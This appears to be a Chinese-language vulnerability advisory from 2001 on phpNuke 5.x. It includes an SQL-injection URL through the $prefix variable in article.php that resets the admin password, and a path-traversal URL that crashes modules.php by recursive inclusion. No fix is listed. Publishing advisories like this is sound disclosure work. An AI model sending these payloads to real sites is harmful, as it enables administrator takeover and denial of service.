phpNuke存在多个安全漏洞发布时间:2001-08-09 更新时间:2001-08-09 严重程度:高 威胁程度:普通用户访问权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 phpNuke version 5.x详细描述 PhpNuke(http://www.phpnuke.org/)没有很好的正确的过滤输入变量,可以 导致攻击者获得管理员权利。此漏洞仅可能被知道PHPNUKE数据库名字的攻击者 所利用,和WEB服务器必须能使用空密码连接到数据库。虽然这两个情况比较 少见,但还是必须注意。 测试代码 phpNuke包含了一个新的特征处理叫$prefix的变量,$prefix变量定义在config.php 文件中而后默认设置给'nuke',如: < Sample default config.php file > $dbhost = "localhost"; $dbuname = "root"; $dbpass = ""; $dbname = "nuke"; $system = 0; $prefix = nuke; </ End Sample > 攻击者可以利用$prefix变量建立自己的任意SQL查询。在article.php中就可以 自己定义$prefix变量: < sample code from article.php > if(!isset($mainfile)) { include("mainfile.php"); } if(!isset($sid) && !isset($tid)) { exit(); } </ end sample code> 程序流程最后会进入下面的SQL查询: < example query from article.php > mysql_query("UPDATE $prefix"._stories." SET counter=counter+1 where sid=$sid"); < / end example query > 因此下面的命令可以设置admin密码为'1',并提交'nuke'名字数据库,如: article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23 另外modules.php存在拒绝服务攻击,如果攻击者导致文件递归调用: http://site_name_with_phpnuke/modules.php?op=modload&name=../&file=modules 解决方案 尚无 相关信息 kill-9 at modernhackers.com |